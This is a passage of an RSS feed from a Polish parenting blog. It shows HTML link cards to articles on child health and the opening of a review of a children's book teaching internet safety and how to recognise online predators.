</a>
1518. </div>
1519. <h4 class="uagb-post__title uagb-post__text">
1520. <a href="https://przystanekrodzinka.pl/ruch-naprawia-mozg-po-fast-foodzie/" target="_self" rel="bookmark noopener noreferrer">Ruch naprawia w mózgu to, co niszczy fast food</a>
1521. </h4>
1522. <div class='uagb-post__text uagb-post-grid-byline'>
1523. </div>
1524. <div class="uagb-post__text uagb-post__cta wp-block-button">
1525. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/ruch-naprawia-mozg-po-fast-foodzie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1526. </div>
1528. </article>
1529. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1530. <a href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-768x432.jpeg" class="attachment-medium_large size-medium_large" alt="paracetamol w ciazy a ryzyko autyzmu adhd" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-768x432.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-300x169.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-1024x576.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-1536x864.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1531. </div>
1532. <h4 class="uagb-post__title uagb-post__text">
1533. <a href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer">Paracetamol w ciąży może zwiększać ryzyko autyzmu</a>
1534. </h4>
1535. <div class='uagb-post__text uagb-post-grid-byline'>
1536. </div>
1537. <div class="uagb-post__text uagb-post__cta wp-block-button">
1538. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1539. </div>
1541. </article>
1542. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1543. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg" class="attachment-medium_large size-medium_large" alt="orange and white medication pill" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1536x1025.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1544. </div>
1545. <h4 class="uagb-post__title uagb-post__text">
1546. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">ADHD u małych dzieci: większość dostaje leki za wcześnie</a>
1547. </h4>
1548. <div class='uagb-post__text uagb-post-grid-byline'>
1549. </div>
1550. <div class="uagb-post__text uagb-post__cta wp-block-button">
1551. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1552. </div>
1554. </article>
1555. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1556. <a href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="516" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-768x516.jpeg" class="attachment-medium_large size-medium_large" alt="czas zimowy a rytm dobowy dziecka badanie stanford" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-768x516.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-300x201.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-1024x687.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford-1536x1031.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/czas-zimowy-a-rytm-dobowy-dziecka-badanie-stanford.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1557. </div>
1558. <h4 class="uagb-post__title uagb-post__text">
1559. <a href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer">Czas zimowy chroni zdrowie: badanie Stanford Medicine</a>
1560. </h4>
1561. <div class='uagb-post__text uagb-post-grid-byline'>
1562. </div>
1563. <div class="uagb-post__text uagb-post__cta wp-block-button">
1564. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/czas-zimowy-chroni-zdrowie-badanie-stanford-medicine/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1565. </div>
1567. </article>
1568. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1569. <a href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="Creative illustration highlighting ADHD awareness with colorful brain imagery." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8378728.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1570. </div>
1571. <h4 class="uagb-post__title uagb-post__text">
1572. <a href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer">ADHD wzmacnia kreatywność – odkrycie naukowców</a>
1573. </h4>
1574. <div class='uagb-post__text uagb-post-grid-byline'>
1575. </div>
1576. <div class="uagb-post__text uagb-post__cta wp-block-button">
1577. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1578. </div>
1580. </article>
1581. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1582. <a href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-768x513.jpg" class="attachment-medium_large size-medium_large" alt="person, human, child, girl, face, closed eyes, sense, feel, close up, sense, sense, sense, sense, sense, feel" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1263323.jpg 1280w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1583. </div>
1584. <h4 class="uagb-post__title uagb-post__text">
1585. <a href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer">Mózg działa najlepiej z siedmioma zmysłami, nie pięcioma</a>
1586. </h4>
1587. <div class='uagb-post__text uagb-post-grid-byline'>
1588. </div>
1589. <div class="uagb-post__text uagb-post__cta wp-block-button">
1590. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mozg-dziala-najlepiej-z-siedmioma-zmyslami-nie-piecioma/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1591. </div>
1593. </article>
1594. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1595. <a href="https://przystanekrodzinka.pl/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="dieta srodziemnomorska zapobiega cukrzycy badanie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1596. </div>
1597. <h4 class="uagb-post__title uagb-post__text">
1598. <a href="https://przystanekrodzinka.pl/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie/" target="_self" rel="bookmark noopener noreferrer">Dieta śródziemnomorska zmniejsza ryzyko cukrzycy o 31%</a>
1599. </h4>
1600. <div class='uagb-post__text uagb-post-grid-byline'>
1601. </div>
1602. <div class="uagb-post__text uagb-post__cta wp-block-button">
1603. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/dieta-srodziemnomorska-zapobiega-cukrzycy-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1604. </div>
1606. </article>
1607. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1608. <a href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-768x512.jpg" class="attachment-medium_large size-medium_large" alt="burger with lettuce and fries on brown wooden table" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/7clarmn7tcm.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1609. </div>
1610. <h4 class="uagb-post__title uagb-post__text">
1611. <a href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer">Fast food zaburza pamięć już po 4 dniach</a>
1612. </h4>
1613. <div class='uagb-post__text uagb-post-grid-byline'>
1614. </div>
1615. <div class="uagb-post__text uagb-post__cta wp-block-button">
1616. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/dieta-tluszcze-nasycone-pamiec-dziecko-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1617. </div>
1619. </article>
1620. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1621. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg" class="attachment-medium_large size-medium_large" alt="a person lying on a bed with a tablet" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/1cnx5gffrce.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1622. </div>
1623. <h4 class="uagb-post__title uagb-post__text">
1624. <a href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Smartfon przed 13. rokiem życia a zdrowie psychiczne</a>
1625. </h4>
1626. <div class='uagb-post__text uagb-post-grid-byline'>
1627. </div>
1628. <div class="uagb-post__text uagb-post__cta wp-block-button">
1629. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/smartfon-przed-13-rokiem-zycia-zdrowie-psychiczne/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1630. </div>
1632. </article>
1633. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1634. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="490" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg" class="attachment-medium_large size-medium_large" alt="co sprawia ze objadamy sie produktami" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-300x191.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1024x653.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1536x980.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1635. </div>
1636. <h4 class="uagb-post__title uagb-post__text">
1637. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Co naprawdę sprawia, że objadamy się produktami?</a>
1638. </h4>
1639. <div class='uagb-post__text uagb-post-grid-byline'>
1640. </div>
1641. <div class="uagb-post__text uagb-post__cta wp-block-button">
1642. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1643. </div>
1645. </article>
1646. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1647. <a href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-768x512.jpg" class="attachment-medium_large size-medium_large" alt="a baby is being held by a woman" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8_-gjgyr2cw.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1648. </div>
1649. <h4 class="uagb-post__title uagb-post__text">
1650. <a href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer">Ukryta mutacja genu CPD wywołuje głuchotę – jest nadzieja</a>
1651. </h4>
1652. <div class='uagb-post__text uagb-post-grid-byline'>
1653. </div>
1654. <div class="uagb-post__text uagb-post__cta wp-block-button">
1655. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mutacja-genu-cpd-gluchota-dzieci-leczenie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1656. </div>
1658. </article>
1659. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1660. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg" class="attachment-medium_large size-medium_large" alt="Pregnant woman&#039;s belly illuminated by sunlight." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1661. </div>
1662. <h4 class="uagb-post__title uagb-post__text">
1663. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Nudności w ciąży chronią dziecko przed toksynami</a>
1664. </h4>
1665. <div class='uagb-post__text uagb-post-grid-byline'>
1666. </div>
1667. <div class="uagb-post__text uagb-post__cta wp-block-button">
1668. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1669. </div>
1671. </article>
1672. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1673. <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="wspomnienia z dzieciństwa jak odzyskać" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1674. </div>
1675. <h4 class="uagb-post__title uagb-post__text">
1676. <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer">Jak odblokować zapomniane wspomnienia z wczesnego dzieciństwa</a>
1677. </h4>
1678. <div class='uagb-post__text uagb-post-grid-byline'>
1679. </div>
1680. <div class="uagb-post__text uagb-post__cta wp-block-button">
1681. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1682. </div>
1684. </article>
1685. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
1686. <a href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-768x432.webp" class="attachment-medium_large size-medium_large" alt="zywy slimak poza cialem mechanizmy sluchu" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-768x432.webp 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-300x169.webp 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-1024x576.webp 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu-1536x864.webp 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zywy-slimak-poza-cialem-mechanizmy-sluchu.webp 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
1687. </div>
1688. <h4 class="uagb-post__title uagb-post__text">
1689. <a href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer">Żywy ślimak poza ciałem pokazuje, jak działa słuch</a>
1690. </h4>
1691. <div class='uagb-post__text uagb-post-grid-byline'>
1692. </div>
1693. <div class="uagb-post__text uagb-post__cta wp-block-button">
1694. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/zywy-slimak-poza-cialem-mechanizmy-sluchu/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
1695. </div>
1697. </article>
1698. </div>
1700.  
1701.  
1702. <figure class="wp-block-image aligncenter size-large"><a href="https://przystanekrodzinka.pl/dziecieca-ciekawosc/"><img loading="lazy" decoding="async" width="1024" height="499" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg" alt="Dziecieca ciekawosc blok 1" class="wp-image-74388" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-300x146.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-768x374.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1536x749.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2.jpg 1680w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1703.  
1704.  
1705.  
1706. <figure class="wp-block-image aligncenter size-large"><a href="https://www.instagram.com/przystanekrodzinka/"><img loading="lazy" decoding="async" width="1024" height="409" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg" alt="obserwuj przystanek rodzinka instagram 2" class="wp-image-74387" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-300x120.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-768x307.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1536x613.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1707.  
1708.  
1709.  
1710. <figure class="wp-block-image aligncenter size-large"><a href="https://www.facebook.com/przystanekrodzinka/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="449" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg" alt="polub przystanek rodzinka facebook" class="wp-image-21763" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-300x132.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-768x337.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1536x674.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
1711. <p>Artykuł <a href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/">IQ wpływa na słyszenie w hałasie – zaskakujące badanie</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1712. ]]></content:encoded>
1716. </item>
1717. <item>
1718. <title>Cyfrowa tarcza najmłodszych – jak &#8220;Sieciaki. Kto jest po drugiej stronie?&#8221; chroni nowe cyfrowe dzieciństwo przed internetowymi drapieżnikami</title>
1719. <link>https://przystanekrodzinka.pl/cyfrowa-tarcza-najmlodszych-jak-sieciaki-kto-jest-po-drugiej-stronie-chroni-nowe-cyfrowe-dziecinstwo-przed-internetowymi-drapieznikami/</link>
1721. <dc:creator><![CDATA[adm1n]]></dc:creator>
1722. <pubDate>Sat, 01 Nov 2025 13:10:00 +0000</pubDate>
1723. <category><![CDATA[Książki]]></category>
1724. <category><![CDATA[cyberbezpieczeństwo]]></category>
1725. <category><![CDATA[internet]]></category>
1726. <category><![CDATA[Łukasz Wojtasik]]></category>
1727. <category><![CDATA[Maciej Łazowski]]></category>
1728. <category><![CDATA[Sieciaki]]></category>
1729. <category><![CDATA[Sieciaki. Jest nas więcej]]></category>
1730. <category><![CDATA[Sieciaki. Kto jest po drugiej stronie?]]></category>
1731. <category><![CDATA[Sieciaki. Misja bezpieczny internet]]></category>
1732. <category><![CDATA[Sieciaki. Twarzozmieniacz i wielka gala fejmu]]></category>
1733. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=84654</guid>
1734.  
1735. <description><![CDATA[<p>W erze wszechobecnej cyfryzacji, gdy dzieci poznają świat przez ekrany smartfonów jeszcze przed nauką chodzenia, czwarta część przygód Sieciaków staje się niezbędnym przewodnikiem po zagrożeniach cyfrowego świata, ucząc jak rozpoznać manipulację i chronić się przed internetowymi drapieżnikami.</p>
1736. <p>Artykuł <a href="https://przystanekrodzinka.pl/cyfrowa-tarcza-najmlodszych-jak-sieciaki-kto-jest-po-drugiej-stronie-chroni-nowe-cyfrowe-dziecinstwo-przed-internetowymi-drapieznikami/">Cyfrowa tarcza najmłodszych – jak &#8220;Sieciaki. Kto jest po drugiej stronie?&#8221; chroni nowe cyfrowe dzieciństwo przed internetowymi drapieżnikami</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
1737. ]]></description>
1738. <content:encoded><![CDATA[
1739. <p class="has-ast-global-color-6-background-color has-background">W czasach, gdy nowe cyfrowe dzieciństwo kształtuje się pod wpływem wszechobecnej cyfryzacji, pojawia się paląca potrzeba edukowania młodego pokolenia o zagrożeniach czyhających po drugiej stronie ekranu. Czwarta część przygód Sieciaków autorstwa Łukasza Wojtasika z ilustracjami Macieja Łazowskiego wychodzi naprzeciw tej potrzebie.</p>
1740.  
1741.  
1742.  
1743. <p>&#8220;Coraz więcej dzieci ze szkoły Sieciaków nawiązuje kontakty z podejrzanymi osobami w internecie&#8221; – już pierwsza linia opisu od wydawcy wprowadza nas w serce problemu, który nurtuje współczesne rodziny. &#8220;Sieciaki&#8221; &#8211; to nie jest zwykła książka o bezpieczeństwie w Internecie dla dzieci – to literacki manifest na rzecz świadomego i bezpiecznego funkcjonowania w cyfrowej rzeczywistości.</p>
1744.  
1745.  
1746.  
